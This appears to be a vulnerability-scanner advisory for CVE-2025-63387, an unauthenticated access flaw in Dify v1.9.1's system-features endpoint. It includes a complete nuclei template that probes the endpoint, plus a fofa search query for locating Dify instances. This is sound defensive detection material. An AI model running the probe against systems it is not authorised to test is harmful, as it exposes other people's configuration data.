Dify v1.9.1 - Broken Access Control

mediumseverity

18.7%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Dify v1.9.1 contains an insecure permissions vulnerability caused by lack of authorization checks in /console/api/system-features endpoint, letting unauthenticated attackers access sensitive system configuration data.

Impact

Unauthenticated attackers can access sensitive system configuration data, potentially leading to information disclosure.

Fix

Update to the latest version of Dify.

How to confirm it

Send: GET {{BaseURL}}/console/api/system-features
Positive when: contains "\"status\":" and "\"sso_enforced_for_signin\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-63387 -u <target>

The full check

id: CVE-2025-63387

info:
  name: Dify v1.9.1 - Broken Access Control
  author: DhiyaneshDK
  severity: medium
  description: |
    Dify v1.9.1 contains an insecure permissions vulnerability caused by lack of authorization checks in /console/api/system-features endpoint, letting unauthenticated attackers access sensitive system configuration data.
  impact: |
    Unauthenticated attackers can access sensitive system configuration data, potentially leading to information disclosure.
  remediation: |
    Update to the latest version of Dify.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-63387
  classification:
    cve-id: CVE-2025-63387
    epss-score: 0.18712
    epss-percentile: 0.97296
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Dify"
  tags: cve,cve2025,dify,auth-bypass,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/console/api/system-features"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status":'
          - '"sso_enforced_for_signin":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

https://nvd.nist.gov/vuln/detail/CVE-2025-63387

Use this check only on systems you are authorised to test. Where the data comes from